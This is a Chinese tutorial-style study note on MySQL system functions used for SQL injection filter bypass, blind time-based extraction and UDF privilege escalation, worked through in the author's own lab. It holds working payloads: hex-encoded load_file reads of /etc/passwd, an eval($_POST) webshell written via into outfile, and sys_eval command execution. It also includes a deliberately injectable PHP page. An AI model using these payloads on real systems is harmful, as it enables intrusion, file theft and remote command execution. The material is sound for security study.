信安周报-第04周:系统函数与UDF

信安之路

第04周

前言

这周自主研究的任务如下:

附录解释:

  1. SQLi的时候应对各种限制,可以使用数据库自带的系统函数来进行一系列变换绕过验证

    • eg:字符串转换函数、截取字符串长度函数等
  2. 注入的时候需要利用数据库来执行系统命令,不同数据库采用不同方式
    • eg:MySQL的udf、SQLServer的xp_cmdshell
  3. 可以手动构造一些可以利用数据库执行命令的场景,然后进行渗透,从而理解这个提权过程

1.系统函数

参考文档:MySQL函数 https://dev.mysql.com/doc/refman/5.7/en/functions.html

1.1.字符串函数

在MySQL中最常用的当属字符串相关的函数了:

PS:哪个用法不清楚就直接help xx

函数名 说明
lower(str) 把字符串转换为小写
upper(str) 把字符串转换为大写
ltrim(str) 去除字符串左边空格
rtrim(str) 去除字符串右边空格
trim([remove_str from ]str) 去除字符串两端空格或指定字符
reverse(str) 反转字符串
length(str) 返回字符串的存储长度
char_length(str) 返回字符串的字符个数
instr(str,substr) 返回substr第一次出现的位置
left(str,n) 返回字符串前n个字符
right(str,n) 返回字符串后n个字符
mid(str,pos[,len]) 截取从pos位置开始到len长度的字符串
substring(str,pos[,len]) 截取从pos位置开始到len长度的字符串
replace(str,old_str,new_str]) 用new_str替换str中的old_str
concat(str1,str2...) 将多个字符串合并为一个字符串
concat_ws(split_str,str1,str2...) 以指定字符拼接多个字符串
group_concat(column) 把分组中的值拼接成一个字符串

简单演示一下用法:

1.lower、upper、ltrim、rtrim、trim案例:

2.length、char_length案例:

3.reverse、concat、concat_ws案例:

4.instr、substr的去广告案例:

PS:substring 等同于 substr 以及 mid,它只是为了兼容其他数据库

5.replace去广告案例:(更合适)

5.group_concat小解:

传统数据库一般使用了group by,那么select的列必须包含在group by子句或者是聚合函数才行:

MySQL虽然做了语法兼容,但结果并不太准确,这时候就可以使用group_concat

select group_concat(file_name) as file_name, url, count(*) from file_records group by url;

PS:SQLServer达到相同效果就需要自己构造了:

select ids =(select stuff((select ‘,‘ + cast(id as varchar(20)) from file_records as f where f.url = file_records.url for xml path (‘‘)), 1, 1, ‘‘)),url,count(*) from file_records group by url;

1.2.转换函数

函数名 说明
hex(str) 把字符串转换为16进制
to_base64(obj) 编码为base64字符串
from_base64(base64_str) 解码base64格式的字符串
unhex(16str) 把16进制转换为字符串
ord(str) 返回最左边字符的ascii码
ascii(char) 返回字符串str的最左侧字符的数值
char(ascii_num) 把ascii码数值转换为对应的字符
convert(expr,type) 把表达式转换为指定类型type

base64函数MySQL5.6添加的 ==> so,MariaDB 5.5.60 是没有的

PS:MariaDB 10.0.5 才新增

PS:哪个用法不清楚就直接help xx,具体案例看场景举例

1.3.其他系列

函数名 说明
if(expr,a,b) 如果表达式expr成立返回结果a,否则返回结果b
updatexml(xml_target, xpath_expr, new_xml) 返回替换的XML片段
extractvalue(xml_frag, xpath_expr) 使用XPath表示法从XML字符串中提取值
sleep(time) 休眠time秒

2.场景举例

2.1.不能出现某些特殊字符

1.不能出现某些特殊字符

eg:在使用load_file函数的时候,要是url里屏蔽了

可以使用hex转换一下,就可以绕过:

也可以借助asciichar函数:

SQL附录:

select * from users where id=1 union select @@version,@@version_compile_os,@@hostname,user(),database(),load_file('/etc/passwd'),7,8,9;

select hex('/etc/passwd'); -- 2F6574632F706173737764

-- 需要自己添加0x
select * from users where id=1 union select @@version,@@version_compile_os,@@hostname,user(),database(),load_file(0x2F6574632F706173737764),7,8,9;

-- 字符转换为ASCII码
select ascii('/'),ascii('e'),ascii('t'),ascii('c'),ascii('/'),ascii('p'),ascii('a'),ascii('s'),ascii('s'),ascii('w'),ascii('d');

-- ASCII码转为字符串
select char(47,101,116,99,47,112,97,115,115,119,100);

select * from users where id=1 union select @@version,@@version_compile_os,@@hostname,user(),database(),load_file(char(47,101,116,99,47,112,97,115,115,119,100)),7,8,9;

2.2.浏览器返回出现乱码

2.浏览器返回出现乱码,或者程序对返回结果有敏感检测等

eg:通过hex把返回结果转换为16进制即可

SQL附录:

select hex(load_file(0x2F6574632F706173737764));
select hex(load_file(char(47,101,116,99,47,112,97,115,115,119,100)));

-- 解密
select unhex('726F6F743A783A303A303A...6E6F6C6F67696E0A');

2.3.一行查询出所有需要的结果

3.一行查询出所有需要的结果

PS:使用concat or concat_ws()

SQL附录:

-- 推荐使用concat_ws(有null的时候也是有结果的)
select username from workdb.users where id=1 union select concat_ws(',',user(),database(),version());

select hex(','); -- 2C

select username from workdb.users where id=1 union select concat_ws(0x2c,user(),database(),version());

2.4.需要MySQL显示出报错信息

4.需要MySQL显示出报错信息

PS:使用updatexml or extractvalue

很多时候MySQL会隐藏错误提示,这时候我们可以通过别样的方式来让它显示错误信息,从而得到更多对渗透有利的info

SQL附录:

select convert((select @@version),int);

select updatexml(1,concat('~',(select @@version)),1);

select extractvalue(1,concat('~',(select @@version),1));

2.5.延时注入判断

有时候网站容错性比较强(各种默认值)在注入的时候不管加什么参数页面都没什么变化,这时候可以使用延时注入,用是否卡顿来判断是否有注入点

eg:select * from users where id=1 or sleep(3); or select * from users where id=1 and sleep(3);

举个延迟注入获取数据的例子:

eg:获取当前用户名

大体思路:

  1. 查询当前用户猜测出用户名长度
  2. 截取第一个字符并转换为ASCII码
  3. 讲第一个字符的ASCII码和ASCII码表对比,匹配则延迟3s
  4. 继续截取字符并对比,直到全部解猜出来

获取用户名长度的SQL附录:

-- 获取当前用户的长度,不延迟说明不对
select if(length(user())=1,sleep(3),1);
select if(length(user())=2,sleep(3),1);
select if(length(user())=3,sleep(3),1);
select if(length(user())=4,sleep(3),1);
......
select if(length(user())=15,sleep(3),1);
select if(length(user())=16,sleep(3),1);
select if(length(user())=17,sleep(3),1);
select if(length(user())=18,sleep(3),1); -- 延迟了3s

-- PS:可以自己验证一下是不是18位
select user(); -- [email protected]
select char_length(user()); -- 18

获取用户名每一个字符的SQL附录:(数据库通用的substring可以换成mysql独有的mid)

基本上都是在这里匹配:a~zA~Z0~9_、@、%、#...,只看@前面的字符,后面的直接忽略

ASCCI:%:370:48~9:57@:64A:65~Z:90_:95a:97~z:122(可以使用二分法快速定位)

-- 获取第一个字符是什么
select if(substring(user(),1,1)>'a',sleep(3),1); -- 延迟3s,说明第1个字符比a大
select if(substring(user(),1,1)<'z',sleep(3),1); -- 延迟3s,说明在a~z之间
select if(substring(user(),1,1)>'p',sleep(3),1); -- 不延迟,说明在a~p之间
select if(substring(user(),1,1)<'h',sleep(3),1); -- 延迟3s,说明在a~h之间
select if(substring(user(),1,1)>'e',sleep(3),1); -- 不延迟,说明在a~e之间
select if(substring(user(),1,1)>'c',sleep(3),1); -- 延迟3s,说明在c~e之间 ==> 那就是d了
select if(substring(user(),1,1)='d',sleep(3),1); -- 延迟3s,说明第1个字符是d

-- 获取第二个字符是什么
select if(substring(user(),2,1)>'a',sleep(3),1); -- 延迟3s,说明第2个字符比a大
select if(substring(user(),2,1)<'z',sleep(3),1); -- 延迟3s,说明在a~z之间
select if(substring(user(),2,1)>'p',sleep(3),1); -- 不延迟,说明在a~p之间
select if(substring(user(),2,1)<'h',sleep(3),1); -- 不延迟,说明在h~p之间
select if(substring(user(),2,1)>'m',sleep(3),1); -- 延迟3s,说明在m~p之间
select if(substring(user(),2,1)<'o',sleep(3),1); -- 延迟3s,说明在m~0之间 ==> 那就是n了
select if(substring(user(),2,1)='n',sleep(3),1); -- 延迟3s,说明第2个字符是n

-- 获取第三个字符是什么
select if(substring(user(),3,1)>'a',sleep(3),1); -- 延迟3s,说明第3个字符比a大
select if(substring(user(),3,1)<'z',sleep(3),1); -- 延迟3s,说明在a~z之间
select if(substring(user(),3,1)>'p',sleep(3),1); -- 延迟3s,说明在p~z之间
select if(substring(user(),3,1)<'v',sleep(3),1); -- 延迟3s,说明在p~v之间
select if(substring(user(),3,1)<'s',sleep(3),1); -- 不延迟,说明在s~v之间
select if(substring(user(),3,1)>'t',sleep(3),1); -- 不延迟,说明在s~t之间 ==> 要么s要么t
select if(substring(user(),3,1)='s',sleep(3),1); -- 不延迟
select if(substring(user(),3,1)='t',sleep(3),1); -- 延迟3s,说明第3个字符是n

-- 获取第四个字符是什么
select if(substring(user(),4,1)>'a',sleep(3),1); -- 不延迟,说明第4个字符比a小
select if(substring(user(),4,1)>'A',sleep(3),1); -- 不延迟,说明第4个字符比A小
select if(substring(user(),4,1)>'0',sleep(3),1); -- 延迟3s,说明可能是数字或者特殊符号
select if(substring(user(),4,1)<'9',sleep(3),1); -- 不延迟,说明是9~A之间的特殊符号
select if(substring(user(),4,1)='@',sleep(3),1); -- 延迟3s,说明就是@了

-- 说明用户名为:dnt

-- PS:可以自己验证一下:[email protected]
select substring(user(),1,1),substring(user(),2,1),substring(user(),3,1),substring(user(),4,1);

3.UDF实战

以下为自己构造的场景,然后附上了自我入侵的全过程,如有便捷之处还望指正~

3.1.大体思路

  1. 写一句话木马
  2. 菜刀连接
  3. 上传udf文件,不行就先上传大马,然后通过大马上传udf文件
  4. 创建功能函数
  5. 执行提权或者其他命令
  6. 删除函数

3.2.构造注入页面

写一个存在SQLi的页面:index.php

测试环境:phpstudy ==> PHP7 + MySQL5.7 + Nginx1.15.11

<?php
    // 自己构造的一个sqli页面
    $pms=$_GET["id"];
    if(empty($pms)){
        $pms=1;
    }
    echo "id=" . $pms . "<br/>";

    $conn=new mysqli("localhost", "root", "xxxx", "workdb");
    if ($conn->connect_error) {
        die("连接失败:" . $conn->connect_error);
    }

    // 防止中文乱码
    $conn->query("set names utf8;");
    $sql = "select username,password from workdb.users where id=" . $pms;
    echo "SQL:" . $sql . "<br/>";

    $result = $conn->query($sql);
    if($result->num_rows > 0){
        while($row = $result->fetch_assoc()){
            echo "username:" . $row["username"] . ",name:" . $row["password"] . "<br/>";
        }
    } else {
        echo "no results";
    }
    $conn->close();
?>

本案成功前提:配置文件中设置了secure-file-priv=root允许远程登录

PS:如有更好方法,还望大牛指教

3.3.信息查询

url构造:index.php?id=1 union select @@version,@@plugin_dir

url构造查询:index.php?id=1 union select load_file(‘D:\\Program Files (x86)\\phpstudy_pro\\WWW\\index.php‘),concat(@@version_compile_os,‘,‘,@@version_compile_machine)

PS:如果遇到特殊字符屏蔽可以使用16进制(上面场景中我已经说过)

Linux

PS:Linux下可以查看/etc/passwd

发现有Nginx、Apache这些用户名,说明可能存在这些服务器,那么可以试试这些的web默认路径

eg:index.php?id=1 union select load_file(‘/usr/share/nginx/html/index.php‘),2

so ==> 网站根目录出现了(有时候/etc/passwd中直接就可以看到)

3.4.写入一句话

url构造:index.php?id=1 union select 0x3c3f706870206576616c28245f504f53545b627279616e5d293b203f3e,1 into outfile ‘D:\\Program Files (x86)\\phpstudy_pro\\WWW\\xiaoma.php‘

Linux

PS:如果Linux权限配置不到位,也是可以通过这种方式上传的

构造:index.php?id=1 union select ‘<?php eval($_POST[bryan]); ?>‘,1 into outfile ‘/usr/share/nginx/html/xiaoma.php‘

发现被屏蔽了,那把一句话转换为16进制字符串

index.php?id=1 union select 0x3c3f706870206576616c28245f504f53545b627279616e5d293b203f3e,1 into outfile ‘/usr/share/nginx/html/xiaoma.php‘

PS:权限配置分明的就没法通过这个方式写入一句话了(就看安装的时候权限分配,以及网站根目录权限设置)

使用菜刀连接一句话木马:

3.5.连接一句话

菜刀下载:https://github.com/raddyfiy/caidao-official-version

取代菜刀:蚁剑https://github.com/AntSwordProject/AntSword-Loader or Cknifehttps://github.com/Chora10/Cknife

通过菜刀连接一句话木马

如果是PHP5则没有问题,如果是PHP7,会出现:Cannot call assert() with string argument dynamically的提示

解决:可以参考我写的这篇文章:https://www.cnblogs.com/dotnetcrazy/p/11407505.html

3.6.上传文件

根据系统去metasploit目录中下载对应的udf文件

PS:https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql

通过菜刀上传到插件目录:D:\Program Files (x86)\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\

PS:这边能直接上传,也就免去先上传大马再通过大马上传了

PS:Win使用dll,Linux使用so

3.7.创建功能函数

url构造:index.php?id=1;create function sys_eval returns string soname ‘udf.dll‘;#

发现执行命令后不成功

PS:开启常规日志可以看到请求的SQL

发现被屏蔽了(可能是因为php的query只能执行一条语句的原因)

PS:大家想到什么一条SQL执行完查询和创建函数的可以说下

换条思路:读取配置文件(PHP连接MySQL的时候可能有些敏感信息)

PS:Net的web.conf也一样

url构造:index.php?id=1 union select load_file(‘D:\\Program Files (x86)\\phpstudy_pro\\WWW\\index.php‘),2

PS:其实我们刚开始信息获取的时候就读过一次了,现在又绕过来了。。。

连接远程服务器:./mysql -h‘192.168.36.144‘ -uroot -p

PS:win使用:create function sys_eval returns string soname ‘udf.dll‘;

Linux使用:create function sys_eval returns string soname ‘udf.so‘;

3.8.执行系统命令

这时候你通过浏览器执行远程命令也是可以的:

PS:url构造:index.php?id=1 union select sys_eval(‘whoami‘),2

PS:删除函数:drop function sys_eval;


附录

参考文档

MySQL XML相关函数:
https://dev.mysql.com/doc/refman/5.7/en/xml-functions.html

udf文件:
https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql

MySQL函数列表:
https://www.w3cschool.cn/mysql
https://www.runoob.com/mysql/mysql-functions.html
https://www.w3resource.com/mysql/mysql-functions-and-operators.php

MySQL UDF渗透测试
https://zhuanlan.zhihu.com/p/35401523
https://www.freebuf.com/articles/system/163144.html

PHP7和PHP5在安全上的区别
https://www.freebuf.com/articles/web/197013.html

一句话木马的套路
https://www.freebuf.com/articles/web/195304.html

菜刀连接php一句话木马返回200的原因及解决方法
http://shuiboye.blogspot.com/2018/01/php200.html

原文地址:https://www.cnblogs.com/dotnetcrazy/p/11406469.html

时间: 2024-10-28 09:55:51

信安周报-第04周:系统函数与UDF的相关文章

信安周报-第02周:SQL基础

信安之路 第02周 Code:https://github.com/lotapp/BaseCode/tree/master/safe 前言 本周需要自行研究学习的任务贴一下: 1.概念(推荐) 数据库系列去年就开始陆陆续续的发文,这周任务简单带过,概念部分我更新了一下,其他部分看扩展吧~ 1.1.关系型数据库 引用百科的一段抽象描述: "关系型数据库,是指采用了关系模型来组织数据的数据库,其以行和列的形式存储数据,以便于用户理解,关系型数据库这一系列的行和列被称为表,一组表组成了数据库.用户通过

2016风云杯大学生信安大赛 WriteUp

2016风云杯大学生信安大赛 web 01 web 02 web 03 web 04 web 05 web 06 web 08 web 09 CRYPTO 01 misc 01 misc 02 misc 03 misc 06 apk 01 apk 03 apk 04 re 01 re 03 re 04 2016风云杯大学生信安大赛 好吧第二次正式打CTF,虽然这次的题比较简单,而且大部分强队都去打whctf去了,最后10分钟直接从第四掉到第七,也没办法,实力不够,继续练吧,贴个图纪念一下.整体看

JavaScript-面向对象-系统函数-内部类-Math-Date-String-Array-Boolean-Number

内部类 - Math - Date - String - Array - Boolean - Number 系统函数 1. 内部类 1) 什么是内部类 JavaScript中本身就提供一些 可以直接使用的类, 这种由JS本身事先定义好的类就是内部类 2) 主要的内部类 ① Array ② Boolean ③ Date ④ Math ⑤ Number ⑥ String ⑦ RegExp (待续) ⑧ Global (全局) ⑨ Object (根对象) 3) 分类(以使用的方式分) ① 动态内部类

2019.7.01—双硬盘安装Win10,Ubuntu18.04双系统(包括Ubuntu系统美化;安装QQ,微信;配置酸酸.乳)

这篇文章侧重于介绍双系统中Ubuntu系统的安装与配置,windows系统的安装较略.有些方法可能对你的机器不管用,那就要自行百度啦(^_^). 先放一张Ubuntu系统的成品照: 本人电脑配置情况:华硕w50j(老机器了= =),12g内存,500G固态硬盘+1T机械硬盘 总体目标:不使用任何第三方装机软件完成Win10及Ubuntu18.04纯净系统的安装,并完成Ubuntu系统的相关配置. 具体目标:固态中分350g给windows用于安装系统,其余用于安装Ubuntu系统:机械盘中分60

Windows8.1和Ubuntu14.04双系统卸载Ubuntu參考教程[图]

我之前编写并公布了<Windows8.1安装Ubuntu14.04双系统參考教程及双硬盘注意事项>这篇教程,而本文提供的卸载Ubuntu方法适用于这篇教程,其它方法安装的Ubuntu可适当做參考.但本人建议您先大致通读本文,再做决定. 本文所述方法,个人測试无误,如因本文所述造成不论什么损失,本人无法负责,请谨慎! 如若转载,请注明博文地址及原作者(RisingWonderland). 准备条件 请再次确认对Ubuntu系统做好文件备份: 本文适用于Win7.Win8.1: Windows操作

SQL sever 部分常量函数及系统函数使用

(1)数学函数的使用 1.求绝对值 ABS()函数 SELECT ABS('2') 2.求平方根  SQRT()函数 SELECT SQRT('256') 3.求平方  SQUARE()函数 SELECT SQUARE('6') (2)字符串函数 1.返回字符串的第一个字符的ASCII码值函数 ASCII() SELECT ASCII('Abcd') 2.字符串转化大.小写函数 LOWER()把字符串转化小写 UPPER()把字符串转化大写 SELECT LOWER('MACHINE') SEL

Oracle 常用系统函数

2  字符函数 1.    replace( 字符串1,字符串2,字符串3) replace( char, search_string, replace_string) 功能:在"字符串1"中搜索"字符串2",并将其替换为"字符串3". 例如下面的命令是将所有员工名字中出现的"A"替换为"中国". SQL>selectreplace(ename, 'A', '中国') from scott.emp;

Windows8.1和Ubuntu14.04双系统卸载Ubuntu参考教程[图]

我之前编写并发布了<Windows8.1安装Ubuntu14.04双系统参考教程及双硬盘注意事项>这篇教程,而本文提供的卸载Ubuntu方法适用于这篇教程,其他方法安装的Ubuntu可适当做参考.但本人建议您先大致通读本文,再做决定. 本文所述方法,个人测试无误,如因本文所述造成任何损失,本人无法负责,请慎重! 如若转载,请注明博文地址及原作者(RisingWonderland). 准备条件 请再次确认对Ubuntu系统做好文件备份: 本文适用于Win7.Win8.1: Windows操作系统

安装win10与ubuntu16.04双系统

参考教程: https://jingyan.baidu.com/article/fedf0737552c5635ac8977ef.html https://jingyan.baidu.com/article/3c48dd348bc005e10be358eb.html 按照网上的说法,要先安装windows系统,然后再安装ubuntu系统,这样磁盘引导管理工具才能正常的工作. 一: 安装win10系统 1. MediaCreationTool官方工具 去"微软中国下载中心"下载win10